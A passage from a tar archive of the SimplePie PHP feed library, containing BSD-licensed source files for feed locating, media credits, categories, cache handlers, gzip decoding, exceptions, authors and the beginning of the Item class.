$this->is_feed($feed)) { return [$feed]; } else { unset($array[$key]); } } } return null; } public function body(&$array) { foreach ($array as $key => $value) { if ($this->checked_feeds === $this->max_checked_feeds) { break; } if (preg_match('/(feed|rss|rdf|atom|xml)/i', $value)) { $this->checked_feeds++; $headers = [ 'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1', ]; $feed = $this->registry->create('File', [$value, $this->timeout, 5, null, $this->useragent, $this->force_fsockopen, $this->curl_options]); if ($feed->success && ($feed->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed)) { return [$feed]; } else { unset($array[$key]); } } } return null; } } class_alias('SimplePie\Locator', 'SimplePie_Locator', false); ������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/src/Credit.php������������������������������������������������������������������������0000644�����������������00000007665�14757771437�0012102 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ namespace SimplePie; /** * Handles `<media:credit>` as defined in Media RSS * * Used by {@see \SimplePie\Enclosure::get_credit()} and {@see \SimplePie\Enclosure::get_credits()} * * This class can be overloaded with {@see \SimplePie\SimplePie::set_credit_class()} * * @package SimplePie * @subpackage API */ class Credit { /** * Credited role * * @var string * @see get_role() */ public $role; /** * Organizational scheme * * @var string * @see get_scheme() */ public $scheme; /** * Credited name * * @var string * @see get_name() */ public $name; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($role = null, $scheme = null, $name = null) { $this->role = $role; $this->scheme = $scheme; $this->name = $name; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the role of the person receiving credit * * @return string|null */ public function get_role() { if ($this->role !== null) { return $this->role; } return null; } /** * Get the organizational scheme * * @return string|null */ public function get_scheme() { if ($this->scheme !== null) { return $this->scheme; } return null; } /** * Get the credited person/entity's name * * @return string|null */ public function get_name() { if ($this->name !== null) { return $this->name; } return null; } } class_alias('SimplePie\Credit', 'SimplePie_Credit'); ���������������������������������������������������������������������������res/simplepie/src/Category.php����������������������������������������������������������������������0000644�����������������00000010415�14757771437�0012430 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ namespace SimplePie; /** * Manages all category-related data * * Used by {@see \SimplePie\Item::get_category()} and {@see \SimplePie\Item::get_categories()} * * This class can be overloaded with {@see \SimplePie\SimplePie::set_category_class()} * * @package SimplePie * @subpackage API */ class Category { /** * Category identifier * * @var string|null * @see get_term */ public $term; /** * Categorization scheme identifier * * @var string|null * @see get_scheme() */ public $scheme; /** * Human readable label * * @var string|null * @see get_label() */ public $label; /** * Category type * * category for <category> * subject for <dc:subject> * * @var string|null * @see get_type() */ public $type; /** * Constructor, used to input the data * * @param string|null $term * @param string|null $scheme * @param string|null $label * @param string|null $type */ public function __construct($term = null, $scheme = null, $label = null, $type = null) { $this->term = $term; $this->scheme = $scheme; $this->label = $label; $this->type = $type; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the category identifier * * @return string|null */ public function get_term() { return $this->term; } /** * Get the categorization scheme identifier * * @return string|null */ public function get_scheme() { return $this->scheme; } /** * Get the human readable label * * @param bool $strict * @return string|null */ public function get_label($strict = false) { if ($this->label === null && $strict !== true) { return $this->get_term(); } return $this->label; } /** * Get the category type * * @return string|null */ public function get_type() { return $this->type; } } class_alias('SimplePie\Category', 'SimplePie_Category'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/src/Cache.php�������������������������������������������������������������������������0000644�����������������00000011127�14757771437�0011657 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ namespace SimplePie; /** * Used to create cache objects * * This class can be overloaded with {@see SimplePie::set_cache_class()}, * although the preferred way is to create your own handler * via {@see register()} * * @package SimplePie * @subpackage Caching */ class Cache { /** * Cache handler classes * * These receive 3 parameters to their constructor, as documented in * {@see register()} * @var array */ protected static $handlers = [ 'mysql' => 'SimplePie\Cache\MySQL', 'memcache' => 'SimplePie\Cache\Memcache', 'memcached' => 'SimplePie\Cache\Memcached', 'redis' => 'SimplePie\Cache\Redis' ]; /** * Don't call the constructor. Please. */ private function __construct() { } /** * Create a new SimplePie\Cache object * * @param string $location URL location (scheme is used to determine handler) * @param string $filename Unique identifier for cache object * @param string $extension 'spi' or 'spc' * @return \SimplePie\Cache\Base Type of object depends on scheme of `$location` */ public static function get_handler($location, $filename, $extension) { $type = explode(':', $location, 2); $type = $type[0]; if (!empty(self::$handlers[$type])) { $class = self::$handlers[$type]; return new $class($location, $filename, $extension); } return new \SimplePie\Cache\File($location, $filename, $extension); } /** * Create a new SimplePie\Cache object * * @deprecated Use {@see get_handler} instead */ public function create($location, $filename, $extension) { trigger_error('Cache::create() has been replaced with Cache::get_handler(). Switch to the registry system to use this.', E_USER_DEPRECATED); return self::get_handler($location, $filename, $extension); } /** * Register a handler * * @param string $type DSN type to register for * @param string $class Name of handler class. Must implement \SimplePie\Cache\Base */ public static function register($type, $class) { self::$handlers[$type] = $class; } /** * Parse a URL into an array * * @param string $url * @return array */ public static function parse_URL($url) { $params = parse_url($url); $params['extras'] = []; if (isset($params['query'])) { parse_str($params['query'], $params['extras']); } return $params; } } class_alias('SimplePie\Cache', 'SimplePie_Cache'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/src/Gzdecode.php����������������������������������������������������������������������0000644�����������������00000023734�14757771437�0012407 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ namespace SimplePie; /** * Decode 'gzip' encoded HTTP data * * @package SimplePie * @subpackage HTTP * @link http://www.gzip.org/format.txt */ class Gzdecode { /** * Compressed data * * @access private * @var string * @see gzdecode::$data */ public $compressed_data; /** * Size of compressed data * * @access private * @var int */ public $compressed_size; /** * Minimum size of a valid gzip string * * @access private * @var int */ public $min_compressed_size = 18; /** * Current position of pointer * * @access private * @var int */ public $position = 0; /** * Flags (FLG) * * @access private * @var int */ public $flags; /** * Uncompressed data * * @access public * @see gzdecode::$compressed_data * @var string */ public $data; /** * Modified time * * @access public * @var int */ public $MTIME; /** * Extra Flags * * @access public * @var int */ public $XFL; /** * Operating System * * @access public * @var int */ public $OS; /** * Subfield ID 1 * * @access public * @see gzdecode::$extra_field * @see gzdecode::$SI2 * @var string */ public $SI1; /** * Subfield ID 2 * * @access public * @see gzdecode::$extra_field * @see gzdecode::$SI1 * @var string */ public $SI2; /** * Extra field content * * @access public * @see gzdecode::$SI1 * @see gzdecode::$SI2 * @var string */ public $extra_field; /** * Original filename * * @access public * @var string */ public $filename; /** * Human readable comment * * @access public * @var string */ public $comment; /** * Don't allow anything to be set * * @param string $name * @param mixed $value */ public function __set($name, $value) { trigger_error("Cannot write property $name", E_USER_ERROR); } /** * Set the compressed string and related properties * * @param string $data */ public function __construct($data) { $this->compressed_data = $data; $this->compressed_size = strlen($data); } /** * Decode the GZIP stream * * @return bool Successfulness */ public function parse() { if ($this->compressed_size >= $this->min_compressed_size) { // Check ID1, ID2, and CM if (substr($this->compressed_data, 0, 3) !== "\x1F\x8B\x08") { return false; } // Get the FLG (FLaGs) $this->flags = ord($this->compressed_data[3]); // FLG bits above (1 << 4) are reserved if ($this->flags > 0x1F) { return false; } // Advance the pointer after the above $this->position += 4; // MTIME $mtime = substr($this->compressed_data, $this->position, 4); // Reverse the string if we're on a big-endian arch because l is the only signed long and is machine endianness if (current(unpack('S', "\x00\x01")) === 1) { $mtime = strrev($mtime); } $this->MTIME = current(unpack('l', $mtime)); $this->position += 4; // Get the XFL (eXtra FLags) $this->XFL = ord($this->compressed_data[$this->position++]); // Get the OS (Operating System) $this->OS = ord($this->compressed_data[$this->position++]); // Parse the FEXTRA if ($this->flags & 4) { // Read subfield IDs $this->SI1 = $this->compressed_data[$this->position++]; $this->SI2 = $this->compressed_data[$this->position++]; // SI2 set to zero is reserved for future use if ($this->SI2 === "\x00") { return false; } // Get the length of the extra field $len = current(unpack('v', substr($this->compressed_data, $this->position, 2))); $this->position += 2; // Check the length of the string is still valid $this->min_compressed_size += $len + 4; if ($this->compressed_size >= $this->min_compressed_size) { // Set the extra field to the given data $this->extra_field = substr($this->compressed_data, $this->position, $len); $this->position += $len; } else { return false; } } // Parse the FNAME if ($this->flags & 8) { // Get the length of the filename $len = strcspn($this->compressed_data, "\x00", $this->position); // Check the length of the string is still valid $this->min_compressed_size += $len + 1; if ($this->compressed_size >= $this->min_compressed_size) { // Set the original filename to the given string $this->filename = substr($this->compressed_data, $this->position, $len); $this->position += $len + 1; } else { return false; } } // Parse the FCOMMENT if ($this->flags & 16) { // Get the length of the comment $len = strcspn($this->compressed_data, "\x00", $this->position); // Check the length of the string is still valid $this->min_compressed_size += $len + 1; if ($this->compressed_size >= $this->min_compressed_size) { // Set the original comment to the given string $this->comment = substr($this->compressed_data, $this->position, $len); $this->position += $len + 1; } else { return false; } } // Parse the FHCRC if ($this->flags & 2) { // Check the length of the string is still valid $this->min_compressed_size += $len + 2; if ($this->compressed_size >= $this->min_compressed_size) { // Read the CRC $crc = current(unpack('v', substr($this->compressed_data, $this->position, 2))); // Check the CRC matches if ((crc32(substr($this->compressed_data, 0, $this->position)) & 0xFFFF) === $crc) { $this->position += 2; } else { return false; } } else { return false; } } // Decompress the actual data if (($this->data = gzinflate(substr($this->compressed_data, $this->position, -8))) === false) { return false; } $this->position = $this->compressed_size - 8; // Check CRC of data $crc = current(unpack('V', substr($this->compressed_data, $this->position, 4))); $this->position += 4; /*if (extension_loaded('hash') && sprintf('%u', current(unpack('V', hash('crc32b', $this->data)))) !== sprintf('%u', $crc)) { return false; }*/ // Check ISIZE of data $isize = current(unpack('V', substr($this->compressed_data, $this->position, 4))); $this->position += 4; if (sprintf('%u', strlen($this->data) & 0xFFFFFFFF) !== sprintf('%u', $isize)) { return false; } // Wow, against all odds, we've actually got a valid gzip string return true; } return false; } } class_alias('SimplePie\Gzdecode', 'SimplePie_gzdecode'); ������������������������������������res/simplepie/src/Exception.php���������������������������������������������������������������������0000644�����������������00000004332�14757771437�0012612 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ namespace SimplePie; use Exception as NativeException; /** * General SimplePie exception class * * @package SimplePie */ class Exception extends NativeException { } class_alias('SimplePie\Exception', 'SimplePie_Exception'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/src/Author.php������������������������������������������������������������������������0000644�����������������00000007440�14757771437�0012121 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ namespace SimplePie; /** * Manages all author-related data * * Used by {@see Item::get_author()} and {@see SimplePie::get_authors()} * * This class can be overloaded with {@see SimplePie::set_author_class()} * * @package SimplePie * @subpackage API */ class Author { /** * Author's name * * @var string * @see get_name() */ public $name; /** * Author's link * * @var string * @see get_link() */ public $link; /** * Author's email address * * @var string * @see get_email() */ public $email; /** * Constructor, used to input the data * * @param string $name * @param string $link * @param string $email */ public function __construct($name = null, $link = null, $email = null) { $this->name = $name; $this->link = $link; $this->email = $email; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Author's name * * @return string|null */ public function get_name() { if ($this->name !== null) { return $this->name; } return null; } /** * Author's link * * @return string|null */ public function get_link() { if ($this->link !== null) { return $this->link; } return null; } /** * Author's email address * * @return string|null */ public function get_email() { if ($this->email !== null) { return $this->email; } return null; } } class_alias('SimplePie\Author', 'SimplePie_Author'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/src/Item.php��������������������������������������������������������������������������0000644�����������������00000377275�14757771437�0011575 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ namespace SimplePie; /** * Manages all item-related data * * Used by {@see \SimplePie\SimplePie::get_item()} and {@see \SimplePie\SimplePie::get_items()} * * This class can be overloaded with {@see \SimplePie\SimplePie::set_item_class()} * * @package \SimplePie\SimplePie * @subpackage API */ class Item { /** * Parent feed * * @access private * @var \SimplePie\SimplePie */ public $feed; /** * Raw data * * @access private * @var array */ public $data = []; /** * Registry object * * @see set_registry * @var \SimplePie\Registry */ protected $registry; /** * Create a new item object * * This is usually used by {@see \SimplePie\SimplePie::get_items} and * {@see \SimplePie\SimplePie::get_item}. Avoid creating this manually. * * @param \SimplePie\SimplePie $feed Parent feed * @param array $data Raw data */ public function __construct($feed, $data) { $this->feed = $feed; $this->data = $data; } /** * Set the registry handler * * This is usually used by {@see \SimplePie\Registry::create} * * @since 1.3 * @param \SimplePie\Registry $registry */ public function set_registry(\SimplePie\Registry $registry) { $this->registry = $registry; } /** * Get a string representation of the item * * @return string */ public function __toString() { return md5(serialize($this->data)); } /** * Remove items that link back to this before destroying this object */ public function __destruct() { if (!gc_enabled()) { unset($this->feed); } } /** * Get data for an item-level element * * This method allows you to get access to ANY element/attribute that is a * sub-element of the item/entry tag. * * See {@see \SimplePie\SimplePie::get_feed_tags()} for a description of the return value * * @since 1.0 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces * @param string $namespace The URL of the XML namespace of the elements you're trying to access * @param string $tag Tag name * @return array */ public function get_item_tags($namespace, $tag) { if (isset($this->data['child'][$namespace][$tag])) { return $this->data['child'][$namespace][$tag]; } return null; } /** * Get the base URL value. * Uses `<xml:base>`, or item link, or feed base URL. * * @param array $element * @return string */ public function get_base($element = []) { if (!empty($element['xml_base_explicit']) && isset($element['xml_base'])) { return $element['xml_base']; } $link = $this->get_permalink(); if ($link != null) { return $link; } return $this->feed->get_base($element); } /** * Sanitize feed data * * @access private * @see \SimplePie\SimplePie::sanitize() * @param string $data Data to sanitize * @param int $type One of the \SimplePie\SimplePie::CONSTRUCT_* constants * @param string $base Base URL to resolve URLs against * @return string Sanitized data */ public function sanitize($data, $type, $base = '') { return $this->feed->sanitize($data, $type, $base); } /** * Get the parent feed * * Note: this may not work as you think for multifeeds! * * @link http://simplepie.org/faq/typical_multifeed_gotchas#missing_data_from_feed * @since 1.0 * @return \SimplePie\SimplePie */ public function get_feed() { return $this->feed; } /** * Get the unique identifier for the item * * This is usually used when writing code to check for new items in a feed. * * Uses `<atom:id>`, `<guid>`, `<dc:identifier>` or the `about` attribute * for RDF. If none of these are supplied (or `$hash` is true), creates an * MD5 hash based on the permalink, title and content. * * @since Beta 2 * @param boolean $hash Should we force using a hash instead of the supplied ID? * @param string|false $fn User-supplied function to generate an hash * @return string|null */ public function get_id($hash = false, $fn = 'md5') { if (!$hash) { if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'id')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'id')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'guid')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'identifier')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'identifier')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif (isset($this->data['attribs'][\SimplePie\SimplePie::NAMESPACE_RDF]['about'])) { return $this->sanitize($this->data['attribs'][\SimplePie\SimplePie::NAMESPACE_RDF]['about'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } } if ($fn === false) { return null; } elseif 